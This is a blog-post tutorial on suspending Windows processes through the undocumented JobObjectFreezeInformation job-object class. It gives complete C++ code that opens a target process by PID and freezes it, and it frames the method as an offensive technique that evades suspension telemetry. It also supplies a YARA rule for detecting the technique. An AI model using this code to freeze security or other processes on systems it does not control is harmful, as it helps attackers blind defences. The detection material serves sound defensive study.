>_0x12Dark
←back to posts
hackingcybersecurityinfosecpentestingmalware

Suspending/Freezing Windows Processes with Job Objects

Welcome to this new Medium post, today we are going to explore how to suspend and freeze Windows processes using Job Objects, a less known primitive that lets you halt an entire process without…

Suspending/Freezing Windows Processes with Job Objects

Welcome to this new Medium post, today we are going to explore how to suspend and freeze Windows processes using Job Objects, a less known primitive that lets you halt an entire process without touching a single thread handle

This technique comes from the next GitHub repository:

https://github.com/zero2504/FrostLock-Injection

Want to go deeper into Windows offensive development?

Video-based courses from beginner to advanced, and text-based modules (mini courses) with new releases constantly. Plus a technique database with 100+ real techniques updated weekly, and custom C2 agents and consulting for teams.

0x12 Dark Development

Introduction

Before we walk through the implementation, you need to understand three things: what a Job Object is, what JobObjectFreezeInformation does, and why this is different from calling SuspendThread

Job Objects are a Windows mechanism designed to group one or more processes under a single management handle. When you assign a process to a Job, the kernel can enforce policies on the entire group at once

SetInformationJobObject is the primary API for configuring a Job:

BOOL SetInformationJobObject(
[in] HANDLE hJob,
[in] JOBOBJECTINFOCLASS JobObjectInformationClass,
[in] LPVOID lpJobObjectInformation,
[in] DWORD cbJobObjectInformationLength
);

In the documentation you can find all the classes and members to modify in a job

https://learn.microsoft.com/en-us/windows/win32/api/jobapi2/nf-jobapi2-setinformationjobobject

Since JobObjectFreezeInformation is undocumented, we need to define the structures ourselves:

typedef struct _JOBOBJECT_WAKE_FILTER
{
ULONG HighEdgeFilter;
ULONG LowEdgeFilter;
} JOBOBJECT_WAKE_FILTER, *PJOBOBJECT_WAKE_FILTER;

typedef struct _JOBOBJECT_FREEZE_INFORMATION
{
union
{
ULONG Flags;
struct
{
ULONG FreezeOperation : 1;
ULONG FilterOperation : 1;
ULONG SwapOperation : 1;
ULONG Reserved : 29;
};
};
BOOLEAN Freeze;
BOOLEAN Swap;
UCHAR Reserved0[2];
JOBOBJECT_WAKE_FILTER WakeFilter;
} JOBOBJECT_FREEZE_INFORMATION, *PJOBOBJECT_FREEZE_INFORMATION;

The two fields that matter for a basic freeze: FreezeOperation set to 1 tells the kernel this is a freeze or unfreeze operation, and Freeze set to TRUE or FALSE controls the direction

Methodology

Create a Job Object: Call CreateJobObject(NULL, NULL) to get a handle. The handle stays alive for as long as we need to freeze and unfreeze the target

Assign the target process: Call AssignProcessToJobObject with our Job handle and the target process handle

Send the freeze instruction: Populate JOBOBJECT_FREEZE_INFORMATION with FreezeOperation = 1 and Freeze = TRUE, then call SetInformationJobObject with class 18 cast to JOBOBJECTINFOCLASS

Unfreeze: Same call, same structure, same Job handle, only Freeze changes to FALSE

Implementation

FreezeProcess

bool FreezeProcess(HANDLE hProcess) {
globalJobHandle = CreateJobObject(NULL, NULL);
if (!globalJobHandle) {
std::cerr << "Failed to create Job Object. Error: " << GetLastError() << std::endl;
return false;
}

if (!AssignProcessToJobObject(globalJobHandle, hProcess)) {
std::cerr << "Failed to assign process to Job Object. Error: " << GetLastError() << std::endl;
CloseHandle(globalJobHandle);
globalJobHandle = NULL;
return false;
}

JOBOBJECT_FREEZE_INFORMATION freezeInfo = { 0 };
freezeInfo.FreezeOperation = 1;
freezeInfo.Freeze = TRUE;

if (!SetInformationJobObject(globalJobHandle, (JOBOBJECTINFOCLASS)JobObjectFreezeInformation, &freezeInfo, sizeof(freezeInfo))) {
std::cerr << "Failed to freeze Job Object. Error: " << GetLastError() << std::endl;
CloseHandle(globalJobHandle);
globalJobHandle = NULL;
return false;
}

return true;
}

UnfreezeProcess

bool UnfreezeProcess(HANDLE hProcess) {
if (!globalJobHandle) {
std::cerr << "No valid job handle available for thawing. Did you freeze the process first?" << std::endl;
return false;
}

JOBOBJECT_FREEZE_INFORMATION freezeInfo = { 0 };
freezeInfo.FreezeOperation = 1;
freezeInfo.Freeze = FALSE;

if (!SetInformationJobObject(globalJobHandle, (JOBOBJECTINFOCLASS)JobObjectFreezeInformation, &freezeInfo, sizeof(freezeInfo))) {
std::cerr << "Failed to thaw Job Object. Error: " << GetLastError() << std::endl;
return false;
}

return true;
}

The hProcess parameter is not used in the unfreeze path, the Job Object handle is sufficient

Full Code

#define _CRT_SECURE_NO_WARNINGS

#include <iostream>
#include <Windows.h>
#include <thread>
#include <chrono>
#include <TlHelp32.h>

#define JobObjectFreezeInformation 18

typedef struct _JOBOBJECT_WAKE_FILTER
{
ULONG HighEdgeFilter;
ULONG LowEdgeFilter;
} JOBOBJECT_WAKE_FILTER, *PJOBOBJECT_WAKE_FILTER;

typedef struct _JOBOBJECT_FREEZE_INFORMATION
{
union
{
ULONG Flags;
struct
{
ULONG FreezeOperation : 1;
ULONG FilterOperation : 1;
ULONG SwapOperation : 1;
ULONG Reserved : 29;
};
};
BOOLEAN Freeze;
BOOLEAN Swap;
UCHAR Reserved0[2];
JOBOBJECT_WAKE_FILTER WakeFilter;
} JOBOBJECT_FREEZE_INFORMATION, *PJOBOBJECT_FREEZE_INFORMATION;


HANDLE globalJobHandle = NULL;

bool FreezeProcess(HANDLE hProcess) {
globalJobHandle = CreateJobObject(NULL, NULL);
if (!globalJobHandle) {
std::cerr << "Failed to create Job Object. Error: " << GetLastError() << std::endl;
return false;
}

if (!AssignProcessToJobObject(globalJobHandle, hProcess)) {
std::cerr << "Failed to assign process to Job Object. Error: " << GetLastError() << std::endl;
CloseHandle(globalJobHandle);
globalJobHandle = NULL;
return false;
}

JOBOBJECT_FREEZE_INFORMATION freezeInfo = { 0 };
freezeInfo.FreezeOperation = 1;
freezeInfo.Freeze = TRUE;

if (!SetInformationJobObject(globalJobHandle, (JOBOBJECTINFOCLASS)JobObjectFreezeInformation, &freezeInfo, sizeof(freezeInfo))) {
std::cerr << "Failed to freeze Job Object. Error: " << GetLastError() << std::endl;
CloseHandle(globalJobHandle);
globalJobHandle = NULL;
return false;
}

return true;
}

bool UnfreezeProcess(HANDLE hProcess) {
if (!globalJobHandle) {
std::cerr << "No valid job handle available for thawing. Did you freeze the process first?" << std::endl;
return false;
}

JOBOBJECT_FREEZE_INFORMATION freezeInfo = { 0 };
freezeInfo.FreezeOperation = 1;
freezeInfo.Freeze = FALSE;

if (!SetInformationJobObject(globalJobHandle, (JOBOBJECTINFOCLASS)JobObjectFreezeInformation, &freezeInfo, sizeof(freezeInfo))) {
std::cerr << "Failed to thaw Job Object. Error: " << GetLastError() << std::endl;
return false;
}

std::cout << "Process thawed successfully!" << std::endl;
return true;
}

int main() {
DWORD pid;
printf("Please enter the PID of the target Process: \n");
scanf("%d", &pid);

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

if (hProcess == NULL) {
printf("Failed to open Process PID %d\n", pid);
printf("Error Code: %d", GetLastError());
}
else {
if (FreezeProcess(hProcess)) {
std::cout << "Process frozen" << std::endl;
}
}
}

Proof of Concept

Now let’s just run this code:

Let’s run a notepad, and then pass the Process Id to the program:

The process and all its thread are now suspended!

Detection

0x12DarkSandbox

Test your own payloads against the same stack with 5 free scans on sign up, or go deeper with a scan pack or monthly plan

Upload & Scan

Now let’s upload this binary into the sandbox:

https://0x12darksandbox.net/results/352

YARA

Here a YARA rule to detect this technique:

rule JobObject_ProcessFreeze
{
meta:
author = "0x12 Dark Development"
description = "Detects process freeze via undocumented JobObjectFreezeInformation (class 18)"
reference = "https://0x12darkdev.net"

strings:
$api1 = "CreateJobObject" ascii wide
$api2 = "AssignProcessToJobObject" ascii wide
$api3 = "SetInformationJobObject" ascii wide

// JOBOBJECT_FREEZE_INFORMATION struct init: Flags union set to 1 (FreezeOperation bit)
$struct_init = { C7 44 24 ?? 01 00 00 00 }

// Freeze = TRUE pattern after zeroed struct
$freeze_true = { C6 44 24 ?? 01 }

// Freeze = FALSE (unfreeze path)
$freeze_false = { C6 44 24 ?? 00 }

condition:
uint16(0) == 0x5A4D and
all of ($api*) and
($struct_init and ($freeze_true or $freeze_false))
}

The rule matches PE files that import the three Job Object APIs and contain byte code consistent with populating a JOBOBJECT_FREEZE_INFORMATION structure with FreezeOperation = 1

Here you have my collection of YARA rules:

GitHub - S12cybersecurity/YaraRules: Collection of interesting Yara Rules

Conclusions

Job Object freezing is a clean primitive for suspend a process without touching thread handles. From a telemetry perspective it looks nothing like a SuspendThread loop, which is the expected shape of a process suspension attack

📌 Follow me: 🐦 X | 💬 Discord Server | 📸 Instagram | Newsletter | YouTube

S12.